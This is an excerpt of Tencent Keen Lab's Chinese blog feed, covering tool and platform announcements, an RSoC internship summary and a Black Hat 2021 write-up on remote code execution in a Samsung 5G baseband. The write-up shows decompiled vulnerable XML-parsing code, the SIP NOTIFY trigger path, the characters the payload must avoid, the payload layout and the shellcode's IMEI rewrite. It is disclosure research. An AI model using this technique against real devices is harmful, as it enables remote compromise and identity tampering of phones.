src="/zh/img/2022-BinAbsInspector-public-release/5-x64-compare.png" alt="图5-x64下-核心检测能力数据对比" align="middle" style="width:500px;position:relative;left:50%;margin-left:-250px;" /><img src="/zh/img/2022-BinAbsInspector-public-release/6-armv7-compare.png" alt="图6-armv7下-核心检测能力数据对比" align="middle" style="width:500px;position:relative;left:50%;margin-left:-250px;" /><img src="/zh/img/2022-BinAbsInspector-public-release/7-false-positives.png" alt="图7-三种架构下核心漏洞检测误报率对比" align="middle" style="width:600px;position:relative;left:50%;margin-left:-300px;" /><img src="/zh/img/2022-BinAbsInspector-public-release/8-missing-report.png" alt="图8-三种架构下核心漏洞检测漏报率对比" align="middle" style="width:600px;position:relative;left:50%;margin-left:-300px;" /><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><h3 id="迄今成果"><a href="#迄今成果" class="headerlink" title="迄今成果"></a>迄今成果</h3><p>科恩在二进制安全研究领域有着深厚积累，其中二进制软件成分分析平台 <a href="https://www.binaryai.net/">BinaryAI[11]</a> 已免费开放，推动软件成分分析在DevSecOps、安全研究等场景的应用与发展。</p><p>在二进制静态分析方向，科恩孵化高效、准确的自动化二进制文件静态漏洞分析工具BinAbsInspector。经过内部应用实践及优化，BinAbsInspector已达到了较好的完成度。</p><h3 id="步履不停"><a href="#步履不停" class="headerlink" title="步履不停"></a>步履不停</h3><p>BinAbsInspector未来将持续打磨算法及工程上的可提高之处，结合科恩二进制分析、算法等能力输出，赋能更多软件相关从业者，助力提升整体代码安全防治效率。关于更多的技术细节和代码实现，请移步我们的 <a href="https://github.com/KeenSecurityLab/BinAbsInspector">开源仓库</a> 。欢迎所有感兴趣的小伙伴一起参与协同开发，在实践中迭代优化，打造更优秀的二进制漏洞静态分析利器!</p><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><p><a href="https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html">[1]https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html</a><br><a href="https://www.grammatech.com/products/source-code-analysis">[2]https://www.grammatech.com/products/source-code-analysis</a><br><a href="https://www.veracode.com/">[3]https://www.veracode.com/</a><br><a href="https://angr.io/">[4]https://angr.io/</a><br><a href="https://github.com/BinaryAnalysisPlatform/bap/">[5]https://github.com/BinaryAnalysisPlatform/bap/</a><br><a href="https://github.com/fkie-cad/cwe_checker/">[6]https://github.com/fkie-cad/cwe_checker&#x2F;</a><br><a href="https://ghidra-sre.org/">[7]https://ghidra-sre.org/</a><br><a href="https://dl.acm.org/doi/pdf/10.1145/1749608.1749612">[8]Gogul Balakrishnan and Thomas Reps. 2010.《 WYSINWYX: What you see is not what you eXecute.》 ACM Trans. Program. Lang. Syst. 32, 6, Article 23 (August 2010), 84 pages https://dl.acm.org/doi/pdf/10.1145/1749608.1749612</a><br><a href="http://www.jakstab.org/">[9]http://www.jakstab.org/</a><br><a href="https://samate.nist.gov/SRD/testsuite.php">[10]https://samate.nist.gov/SRD/testsuite.php</a><br><a href="https://www.binaryai.net/">[11]https://www.binaryai.net/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2022-BinAbsInspector-public-release/cover.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;为提升静态分析在二进制文件漏洞检测领域效率和可扩展性，科恩孵化并开源二进制文件静态漏洞分析工具BinAbsInspector项目。代码仓库地址：&lt;a href=&quot;https://github.com/KeenSecurityLab/BinAbsInspector&quot;&gt;https://github.com/KeenSecurityLab/BinAbsInspector&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>RSoC—科恩实验室2021编程之夏正式结项</title>
    <link href="https://keenlab.tencent.com/zh/2021/08/24/2021-rsoc-summary/"/>
    <id>https://keenlab.tencent.com/zh/2021/08/24/2021-rsoc-summary/</id>
    <published>2021-08-24T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2021-rsoc-summary/cover.png"><br>8月20日，在经过参与者们逐步项目推进后，RSoC落下帷幕。参与RSoC的高校同学与Rizin核心成员Anton以及科恩实验室研究员深度协作交流，以国际开源逆向工程框架Rizin为研究主体，在科恩实验室感受了别样的代码之夏。</p><span id="more"></span><h1 id="RSoC"><a href="#RSoC" class="headerlink" title="RSoC"></a>RSoC</h1><p>2021年3月，由腾讯安全科恩实验室与国际二进制开源逆向工程框架Rizin联合举办的一场开源程序设计项目—Rizin Summer of Code 2021 正式开启报名申请。<br>报名申请回顾：<a href="https://keenlab.tencent.com/zh/2021/03/04/RSoC-keenlab-2021/#more">RSoC-科恩编程之夏申请通道正式开启</a></p><p>7月初，RSoC最终参与者来到科恩实验室进行项目沟通规划，8月20日，在经过参与者们逐步项目推进后，RSoC落下帷幕。<br>参与RSoC的高校同学与Rizin核心成员Anton<a href="https://twitter.com/akochkov">@akochkov</a>以及科恩实验室研究员深度协作交流，以国际开源逆向工程框架Rizin为研究主体，在科恩实验室感受了别样的代码之夏。</p><h2 id="Rizin"><a href="#Rizin" class="headerlink" title="Rizin"></a>Rizin</h2><p><a href="https://rizin.re/">Rizin</a>是项类Unix的逆向工程框架和命令行工具集，是来自世界各地的优秀编程极客的思想结晶，由国际知名免费开源逆向工程框架Radare2提取分支而来。Rizin持有二进制文件分析，反汇编代码，调试程序…等等功能。</p><p><img src="/zh/img/2021-rsoc-summary/1.png"></p><h1 id="RSoC参与者结项总结"><a href="#RSoC参与者结项总结" class="headerlink" title="RSoC参与者结项总结"></a>RSoC参与者结项总结</h1><h3 id="Heersin"><a href="#Heersin" class="headerlink" title="Heersin:"></a>Heersin:</h3><p>在这个暑假，我的项目内容是实现一个对IL相关的bug进行修复和重构，以及为Rizin实现一个基于位向量运算的中间语言支持。目是为了Rizin日后能在此基础上运用一些分析技术。通过这样次实践，我对开源项目的协作有了更深刻的体会，也拓展了我对这一领域的认识。于我而言，我借助这次rsoc接触到了不少与反编译相关的知识，这也是一个了解相关研究和技术实践的切入点。部分解决了我的一个疑惑：一个大型项目是如何组织和管理的。<br>科恩的氛围特别好，大家都对安全技术很有热情且大佬们很多，我在这里学到了不少东西。值得一提的是，科恩给我的感觉是一个很注意成员直接沟通的团队，大家能为了同一个目标去工作，在这样的团队里工作很愉快。</p><h3 id="Basstorm"><a href="#Basstorm" class="headerlink" title="Basstorm:"></a>Basstorm:</h3><p>七月初，我怀着紧张又激动的心情，开始了科恩实习与RSoC 2021之旅。我在RSoC 2021中的主要任务是Type相关的工作。<br>在第一周，我与Anton合作修复了新的Type Parser中的一些bug，推进了项目的总体进程。之后，我相继完成了迁移Type Constraints、添加对Global variable的支持、重构PDB parser等工作。<br>在这一个多月的工作过程中，我感受到了社区成员间的良好氛围，社区成员都很乐于助人，有问必答，也许这就是开源社区的魅力，大家互帮互助，共同朝着一个美好的目标前进。同时，这一个多月我也是收获满满，不仅收获了相应的开发经验与能力，更锻炼了我适应环境的能力，还认识了一些志同道合的朋友。</p><p>在科恩实习期间，我感受到了科恩实验室的开放协作、朝气蓬勃的工作氛围，这里都是技术大牛，我也从中学到了不少实用的经验技巧。除此之外，科恩的格言“追求极致、主动担当”也激励着我不畏艰难，砥砺前进。祝愿RSoC可以长久的办下去，也祝愿Rizin和科恩实验室越来越好！</p><h1 id="科恩秋招-实习生招聘攻略"><a href="#科恩秋招-实习生招聘攻略" class="headerlink" title="科恩秋招&#x2F;实习生招聘攻略"></a>科恩秋招&#x2F;实习生招聘攻略</h1><p>简历投递入口：<a href="https://join.qq.com/">腾讯招聘官网</a>→ 实习生招聘&#x2F;校园招聘<br>岗位类别：技术类→ 安全技术<br>意向事业群及部门：CSIG事业群→腾讯安全<br><strong>注</strong> 请在自我评价处填写 “意向部门科恩实验室+你的意向岗位”<br>岗位参考：<a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247493306&idx=1&sn=17b6ca9353c1abe8f6f68e82afb7a768&chksm=fbfedabfcc8953a97829e95f6643968602b47c05934edf01a0d679aae6b1a35e8259218e9c9a&mpshare=1&scene=1&srcid=0824PXArShTviZKsdEQUAQS9&sharer_sharetime=1629780945376&sharer_shareid=7d66f1f41e48fccb8e6027e2a4baa666&version=3.1.11.3009&platform=win#rd">招聘推文</a></p><p><strong>科恩期待与你探索安全技术更多可能~</strong></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2021-rsoc-summary/cover.png&quot;&gt;&lt;br&gt;8月20日，在经过参与者们逐步项目推进后，RSoC落下帷幕。参与RSoC的高校同学与Rizin核心成员Anton以及科恩实验室研究员深度协作交流，以国际开源逆向工程框架Rizin为研究主体，在科恩实验室感受了别样的代码之夏。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>腾讯安全科恩实验室推出首款免费在线SCA平台：BinaryAI</title>
    <link href="https://keenlab.tencent.com/zh/2021/08/11/2021-binaryai-public-release/"/>
    <id>https://keenlab.tencent.com/zh/2021/08/11/2021-binaryai-public-release/</id>
    <published>2021-08-11T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2021-binaryai-public-release/cover.png"></p><p>8月11日，腾讯安全科恩实验室正式发布在线软件成分分析平台——BinaryAI，第一次将软件成分分析（Software Composition Analysis，SCA）技术推广到日常安全研究。<br>伴随着开源软件的迅速成长，应用软件中使用开源代码的比重逐年持续增长。然而，开源代码中的安全问题也让软件市场面临软件供应链安全的挑战。</p><span id="more"></span><h2 id="BinaryAI闪亮登场"><a href="#BinaryAI闪亮登场" class="headerlink" title="BinaryAI闪亮登场"></a>BinaryAI闪亮登场</h2><p>基于软件安全和人工智能领域的多年研究经验，科恩实验室积极布局软件成分分析方向，已落地并助力厂商修复软件安全问题，现在首次将SCA能力以平台型产品BinaryAI免费开放给用户，旨在推动软件成分分析在DevSecOps、安全研究等场景应用发展。</p><p><a href="https://www.binaryai.net/">BinaryAI</a>是二进制文件SCA的智能分析平台，自动化完成文件解析到输出分析结果全部使用环节，帮助研究人员高效实现SCA线上检查的需求。</p><p><img src="/zh/img/2021-binaryai-public-release/process.png" alt="BinaryAI使用流程"></p><h2 id="专注二进制SCA"><a href="#专注二进制SCA" class="headerlink" title="专注二进制SCA"></a>专注二进制SCA</h2><p>开源代码安全问题不仅存在于源代码，在构建过程中也会引入问题，因此构建阶段的二进制产物有必要进行SCA分析。使用BinaryAI可以确认软件所使用的第三方组件及具体版本号，及时发现引入的问题第三方库，便于研发团队跟进修复。</p><h2 id="文件类型全面覆盖"><a href="#文件类型全面覆盖" class="headerlink" title="文件类型全面覆盖"></a>文件类型全面覆盖</h2><p>用户可以打开BinaryAI官网，上传待分析文件获取SCA功能，现已支持200M以下常见CPU架构的可执行文件及包格式文件的检测。BinaryAI实现智能化文件解包或解析、软件成分分析等分析流程。</p><h2 id="后台数据资源丰富"><a href="#后台数据资源丰富" class="headerlink" title="后台数据资源丰富"></a>后台数据资源丰富</h2><p>经过长期积累，BinaryAI后台具备10000余种第三方组件数据，内容覆盖组件基本信息、开源许可证使用情况等信息，能够全面提升软件成分分析的检测水平，并在持续不断扩大支持范围中。现在向用户开放的信息为组件的基本信息。</p><h2 id="SCA检测能力强"><a href="#SCA检测能力强" class="headerlink" title="SCA检测能力强"></a>SCA检测能力强</h2><p>科恩实验室在近年发表了<a href="https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/#more">《Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection》</a>、<a href="https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/#more">《CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code Matching》</a>等论文，在传统安全研究中利用AI算法解决二进制程序函数相似性分析和二进制代码&#x2F;源代码端到端匹配问题，奠定了软件成分分析的算法基础。BinaryAI通过科恩自研的SCA算法，可以实现组件以及版本号高准确率匹配。</p><h2 id="用户体验优先"><a href="#用户体验优先" class="headerlink" title="用户体验优先"></a>用户体验优先</h2><p>基于上述能力，BinaryAI提供了网页版的使用途径。用户无需部署服务器，无需上传源代码文件，直接上传待分析的二进制文件，无需指定分析器，输出简洁、可读性高的报告，赋能用户开展安全分析。</p><h2 id="福利"><a href="#福利" class="headerlink" title="福利"></a>福利</h2><p>访问<a href="https://www.binaryai.net/">BinaryAI</a> 开始体验SCA技术吧!<br>填写<a href="https://wj.qq.com/s2/8723275/c263">使用反馈问卷</a>，科恩将于8月18日抽取幸运儿送上腾讯视频季卡~优质反馈更有腾讯视频年卡赠送!</p><p>微信扫描二维码加入<strong>产品交流群</strong>或微信搜索添加<strong>“keenlab”</strong>为好友发送“BinaryAI交流群”获取入群链接。<br><img src="/zh/img/2021-binaryai-public-release/qun.png" alt="BinaryAI交流群"></p><p>微信搜索并关注<strong>腾讯安全科恩实验室</strong>官方公众号获得BinaryAI更多动态。</p><h2 id="BinaryAI介绍视频"><a href="#BinaryAI介绍视频" class="headerlink" title="BinaryAI介绍视频"></a>BinaryAI介绍视频</h2><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=u32671g9swr&tiny=0&auto=0" allowfullscreen></iframe></div>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2021-binaryai-public-release/cover.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;8月11日，腾讯安全科恩实验室正式发布在线软件成分分析平台——BinaryAI，第一次将软件成分分析（Software Composition Analysis，SCA）技术推广到日常安全研究。&lt;br&gt;伴随着开源软件的迅速成长，应用软件中使用开源代码的比重逐年持续增长。然而，开源代码中的安全问题也让软件市场面临软件供应链安全的挑战。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>腾讯安全科恩实验室Black Hat USA 2021议题解读｜基带利用：远程5G智能手机代码执行</title>
    <link href="https://keenlab.tencent.com/zh/2021/08/06/BlackHatUSA2021-over-the-air-baseband/"/>
    <id>https://keenlab.tencent.com/zh/2021/08/06/BlackHatUSA2021-over-the-air-baseband/</id>
    <published>2021-08-06T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/BH2021-over-air-baseband/cover2.jpg"></p><p>近年来，5G蜂窝网络被广泛应用。设备为了加入5G网络，都必须配备一个5G调制解调器，负责调制信号和执行无线电协议。该组件通常也被称为基带。这些组件非常重要，因为它们负责处理来自无线电网络的不可信数据。<br>在之前的工作中，科恩实验室研究了上一代网络（2G 3G 4G）的安全调制解调器，并实现了远程无接触的0-click代码执行。<br>本次Black Hat USA 2021，科恩实验室成员Marco与Xingyu Chen在北京时间8月5日凌晨以线上形式分享了议题<strong>《基带利用：远程5G智能手机代码执行》</strong>。该议题探讨了5G网络发生的变化以及安全性方面的改进，并证明了仍然有可能通过无线的方式攻击5G调制解调器完成远程代码执行。</p><span id="more"></span><p><img src="/zh/img/BH2021-over-air-baseband/blackhat.png"><br><strong>议题完整白皮书下载见文末</strong></p><h1 id="作者简介"><a href="#作者简介" class="headerlink" title="作者简介"></a>作者简介</h1><p><strong>Marco：</strong><br>腾讯科恩实验室高级研究员，研究涉猎iOS、Safari、VMWare、基带等多个方向，多次作为核心成员参与Pwn2Own、Mobile Pwn2Own并获得冠军，多次在国际安全会议上进行演讲，包括Black Hat USA, DEF CON, CanSecWest, ZeroNights, Codegate, HITB and ShakaCon等。<br><img src="/zh/img/BH2021-over-air-baseband/marco.png"></p><p><strong>Xingyu Chen：</strong><br>腾讯科恩实验室安全研究员。主要研究虚拟化和移动安全，曾在不同的云产品和智能手机的低级固件中发现了许多关键漏洞。曾作为A*0*E联合战队选手参加多场CTF比赛，也是DEF CON 28 CTF 决赛总冠军队伍成员。多次在国内外安全会议上进行演讲，包括OffensiveCon、Zer0Con和Tensec等。<br><img src="/zh/img/BH2021-over-air-baseband/kira.jpg"></p><h1 id="议题解读"><a href="#议题解读" class="headerlink" title="议题解读"></a>议题解读</h1><h2 id="1-背景"><a href="#1-背景" class="headerlink" title="1.背景"></a>1.背景</h2><p>多年来，5G网络和基带的安全问题一直没有得到全面的讨论。我们之前的工作是研究老一代网络的安全性，并研究了市面上多款调制解调器的实现，安全研究员Amat Cama也发表了一项关于老一代网络的研究，展示了如何在pwn2own竞赛上成功地攻破三星Shannon基带。来自Comsecuris的研究分析了三星和英特尔基带的安全性。<br>建议读者将上述这些研究作为理解和熟悉本文的参考。我们也将对研究背景和5G网络的新概念进行简单描述。</p><h2 id="2-目标介绍"><a href="#2-目标介绍" class="headerlink" title="2.目标介绍"></a>2.目标介绍</h2><p>我们购买了当时可用的几款5G智能手机，他们都支持5G中的“New Radio”。<br><strong>5G设备区分：</strong></p><ul><li>非独立模式（NSA）：该模式使用了5G新无线电，并利用了4G网络的其他组件。</li><li>独立模式（SA）：该模式完全实现并使用了5G New Radio和5G网络规范。由于我们认为未来将使用独立模式（SA）作为标准，因此我们决定专注于该模式的研究。<br>我们的测试设备的SoC为Exynos 980并具有三星Shannon基带。<br>基带在其自己的ARM Cortex内核上运行自己的固件和RTOS，与运行Android操作系统的应用处理器 (AP) 分开。 AP和基带可以例如通过PCI-e、共享内存或其他方式进行通信。我们从设备的OTA包中恢复了基带固件。基带固件位于modem.bin二进制文件中。解压并找到加载地址后，我们可以在IDA Pro中加载它并开始寻找漏洞。</li></ul><h2 id="3-审计范围和漏洞挖掘"><a href="#3-审计范围和漏洞挖掘" class="headerlink" title="3.审计范围和漏洞挖掘"></a>3.审计范围和漏洞挖掘</h2><p>经过一段时间的5G相关代码审计，我们发现了多处漏洞，在此我们选择了其中最稳定的一个来分享，希望您也会通过它对基带当前的安全状态有所认识。在审计调制解调器固件时，我们发现它仍然缺少Stack cookie保护。因此，考虑到在这种环境中缺乏调试功能，使用传统的栈溢出将使我们的利用更容易。<br>本文选择的bug是一个栈溢出。它不仅是栈溢出，而且是基带内部XML解析器中的栈溢出。此 XML解析器负责解析从网络到设备调制解调器的IMS消息。</p><h3 id="3-1-攻击背景"><a href="#3-1-攻击背景" class="headerlink" title="3.1 攻击背景"></a>3.1 攻击背景</h3><p>IMS是4G和5G网络中的专用架构，常用的语音呼叫建立在其之上，稍后我们将看到为什么这对本研究很重要。基带是一个IMS客户端，负责处理VoLTE、VoNR消息，因此它必须能够处理SIP消息，IMS服务器使用这些消息与基带进行通信。<br><strong>白皮书内查看INVITE消息示例</strong><br>SIP 是一种基于文本的类似HTTP的协议，包括标头和内容。 接收方（在本文中为基带）需要解析来自服务器的消息。对于不同的消息，内容不仅可以是键值对，还可以是XML格式的文本。XML是一种复杂得多的数据格式，通常由专用库处理。 以上都为基带引入了一个新的攻击面。</p><h3 id="3-2-漏洞"><a href="#3-2-漏洞" class="headerlink" title="3.2 漏洞"></a>3.2 漏洞</h3><p>我们的OTA RCE漏洞在基带的IMS模块。 在解析SIP协议消息的XML内容时，它会调用函数<code>IMSPL_XmlGetNextTagName</code> 。<br>由于我们的目标基带没有调试符号或信息，所以所有的函数名称、类型和函数签名，都是从日志字符串中提取，或是通过逆向工程手动恢复。<br>我们在这里提供了一个反编译版本，其中省略了一些代码。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">int IMSPL_XmlGetNextTagName(char *src, char *dst) &#123;</span><br><span class="line">    // 1. Skip space characters</span><br><span class="line">    // 2. Find the beginning mark &#x27;&lt;&#x27;</span><br><span class="line">    // 3. Skip comments and closing tag</span><br><span class="line">    // omitted code</span><br><span class="line">    find_tag_end((char **)v13);</span><br><span class="line">    v9 = v13[0];</span><br><span class="line">    if (v8 != v13[0]) &#123;</span><br><span class="line">        memcpy(dst, (int *)((char *)ptr + 1), v13[0] - v8); // copy tag name to dst</span><br><span class="line">        dst[v9 - v8] = 0;</span><br><span class="line">        v12 = 10601;</span><br><span class="line">        // IMSPL_XmlGetNextTagName: Tag name =</span><br><span class="line">        v11 = &amp;log_struct_437f227c;</span><br><span class="line">        Logs((int *)&amp;v11, (int)dst, -1, -20071784);</span><br><span class="line">        *(unsigned __int8 **)src = v13[0];</span><br><span class="line">        LOBYTE(result) = 1;</span><br><span class="line">        return (unsigned __int8)result;</span><br><span class="line">    &#125;</span><br><span class="line">    // omitted code</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此函数将从src解析XML标记并将其名称复制到dst ，例如<code>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;</code>到目标缓冲区。接下来，我们展示反编译函数<code>find_tag_end</code>（手动命名）并解释它是如何工作的：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">char **find_tag_end(char **result) &#123;</span><br><span class="line">    char *i;               // r1</span><br><span class="line">    unsigned int v2;       // r3</span><br><span class="line">    unsigned int cur_char; // r3</span><br><span class="line"></span><br><span class="line">    for (i = *result;; ++i) &#123;</span><br><span class="line">        cur_char = (unsigned __int8)*i;</span><br><span class="line">        if (cur_char &lt;= 0xD &amp;&amp; ((1 &lt;&lt; cur_char) &amp; 0x2601) != 0) // \0 \t \n \r</span><br><span class="line">            break;</span><br><span class="line">        v2 = cur_char - 32;</span><br><span class="line">        if (v2 &lt;= 0x1F &amp;&amp;</span><br><span class="line">            ((1 &lt;&lt; v2) &amp; (unsigned int)&amp;unk_C0008001) != 0) // space / &gt; ?</span><br><span class="line">            break;</span><br><span class="line">    &#125;</span><br><span class="line">    *result = i;</span><br><span class="line">    return result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>该函数通过跳过特殊字符来查找标签的结尾，例如空格、‘&#x2F;’、‘&gt;’、‘?’。在了解整个功能的工作原理后，我们注意到根本没有安全检查。该函数不知道目标缓冲区和源缓冲区有多长。 因此，该函数的所有调用者都可能被传统的缓冲区溢出所利用。通过交叉引用函数<code>IMSPL_XmlGetNextTagName</code>,我们发现了数百个调用位置。<br>它们中的大多数都容易受到攻击，因为源缓冲区是从OTA 消息中获取的，完全由攻击者控制。</p><h2 id="4-Exploit"><a href="#4-Exploit" class="headerlink" title="4. Exploit"></a>4. Exploit</h2><p>我们选择栈溢出是为了漏洞利用的便捷和可靠。正如我们之前所说，由于没有栈cookie，所以我们可以简单地溢出缓冲区，控制存储在栈上的返回地址，并获得代码执行。<br>我们终于通过逆向工程找到了一个很好的候选者：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">int IMSPL_XmlParser_ContactLstDecode(int *a1, int *a2) &#123;</span><br><span class="line">    unsigned __int8 *v4; // r0</span><br><span class="line">    int v5;              // r1</span><br><span class="line">    log_info_s *v7;      // [sp+0h] [bp-98h] BYREF</span><br><span class="line">    int v8;              // [sp+4h] [bp-94h]</span><br><span class="line">    unsigned __int8 *v9; // [sp+8h] [bp-90h] BYREF</span><br><span class="line">    int v10;             // [sp+Ch] [bp-8Ch] BYREF</span><br><span class="line">    char v11[136];       // [sp+10h] [bp-88h] BYREF</span><br><span class="line"></span><br><span class="line">    bzero(v11, 100);</span><br><span class="line">    v10 = 0;</span><br><span class="line">    v4 = (unsigned __int8 *)*a1;</span><br><span class="line">    v8 = 10597;</span><br><span class="line">    v9 = v4;</span><br><span class="line">    // ------------------%s----------------------</span><br><span class="line">    v7 = &amp;log_struct_4380937c;</span><br><span class="line">    log_0x418ffa6c(&amp;v7, &quot;IMSPL_XmlParser_ContactLstDecode&quot;, -20071784);</span><br><span class="line">    if (IMSPL_XmlGetNextTagName((char *)&amp;v9, v11) != 1) &#123;</span><br><span class="line">    LABEL_8:</span><br><span class="line">        *a1 = (int)v9;</span><br><span class="line">        v8 = 10597;</span><br><span class="line">        // Function END</span><br><span class="line">        v7 = &amp;log_struct_43809448;</span><br><span class="line">        log_0x418ffa6c(&amp;v7, -20071784);</span><br><span class="line">        return 1;</span><br><span class="line">    &#125;</span><br><span class="line">    // omitted code</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以很容易地确认变量v11是栈上大小为100的缓冲区。潜在的栈溢出可能发生在这里。 在临近的函数中也能发现类似的问题，例如<code>IMSPL_XmlParser_RegLstDecode</code>，<code>IMSPL_XmlParser_ContElemChildNodeDecode</code>。根据函数名，我们可以推断触发的标签应该在元素Contact List内。通过向上交叉引用函数来总结调用栈并不困难。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IMSPL_XmlParser_RegInfoDecode --&gt; IMSPL_XmlParser_RegInfoElemDecode --&gt; IMSPL_XmlParser_RegLstDecode --&gt; IMSPL_XmlParser_RegistrationElemDecode --&gt; IMSPL_XmlParser_ContactLstDecode</span><br></pre></td></tr></table></figure><p>这些函数名称很容易理解。我们可以分辨出变异的payload可以通过SIP协议中的NOTIFY消息传递。 一个能让基带崩溃的简单PoC可以从普通的NOTIFY消息构造。<br>由于payload是以XML格式发送，因此对payload存在限制。<br>记得上面提到的find_tag_end函数，它会将标签名中的以下字符列入黑名单：<code>&quot;\x00\x09\x0a\x0d\x20\x2f\x3e\x3f&quot;</code>。 因此，在编写ROP链和shellcode时我们不能使用所有可用的字符。除此之外，剩下的是ARM平台上的传统pwnable挑战。</p><h3 id="4-1-Exploitation-Payload"><a href="#4-1-Exploitation-Payload" class="headerlink" title="4.1 Exploitation Payload"></a>4.1 Exploitation Payload</h3><p><strong>白皮书内查看详细PoC</strong><br>利用点为函数<code>IMSPL_XmlParser_RegLstDecode</code>，为了避免在 ROP 执行后修复栈帧，并能让基带仍然正常工作，最好选择一个较深的地方来触发栈溢出。 所以registration中的一个元素标签是个不错的选择。<br>payload结构：<br><img src="/zh/img/BH2021-over-air-baseband/4-1-payload.jpg" alt="有效载荷以 100 个字节“A”开头，然后是栈中保存的寄存器 R4-R11，ROP 链从栈中复制 shellcode 并最终跳转到 shellcode"></p><h3 id="4-2-漏洞利用的可视化演示"><a href="#4-2-漏洞利用的可视化演示" class="headerlink" title="4.2 漏洞利用的可视化演示"></a>4.2 漏洞利用的可视化演示</h3><p>为了验证我们是否在目标设备上获得了RCE,我们可以检查手机的ADB日志。它将显示有关蜂窝处理器(CP)如何崩溃的信息。然而，这既不是一种方便的方式，也不是一种很好的视觉效果。因此，我们选择通过在基带内执行shellcode来修改设备的IMEI。按照设计,IMEI不应在手机分发后进行修改。当我们报告整个利用链时，这也被视为一个bug。NVRAM是Non Volatile Memory，用于存储与基带相关的持久化信息。IMEI是存储在基带NVRAM中的一项，但是要修改它的值，首先要知道它的索引。<br><strong>白皮书内查看IMSSH_GetImei函数示例</strong><br>基带中有多个地方调用函数获取IMEI。可以通过逆向函数GetImei来检索索引。在我们的例子中，IMEI1&#x2F;2的索引分别是<code>0x39a4/0x39a5</code>。有了索引，我们就可以通过在shellcode中调用API <code>pal_RegItemWrite_File</code> 来修改IMEI。</p><h2 id="5-执行"><a href="#5-执行" class="headerlink" title="5.执行"></a>5.执行</h2><h3 id="5-1-环境配置"><a href="#5-1-环境配置" class="headerlink" title="5.1 环境配置"></a>5.1 环境配置</h3><p>要触发这个 bug，我们需要先搭建一个提供 IMS 服务的网络，然后向基带发送格式错误的短信。 我们的测试环境至少需要一个LTE网络。 虽然它在技术上是一个影响4G和5G的漏洞，但在2020年初，5G的基础设施还没有成熟到足以支持像我们这样的独立研究人员测试其安全性。因此我们决定建立一个支持VoLTE的LTE网络来测试设备。</p><h4 id="5-1-1-SDR-Choice"><a href="#5-1-1-SDR-Choice" class="headerlink" title="5.1.1 SDR Choice"></a>5.1.1 SDR Choice</h4><p>作为设置基站的首选硬件，我们选择了Ettus USRP B210，这是一种在研究人员中非常流行的SDR无线电设备。<br><img src="/zh/img/BH2021-over-air-baseband/5-1-1-sdr.jpeg" alt="Ettus USRP B210 [Public domain], via Ettus Research (https://www.ettus.com/ all-products/ub210-kit/)"></p><h4 id="5-1-2-LTE-network-setup"><a href="#5-1-2-LTE-network-setup" class="headerlink" 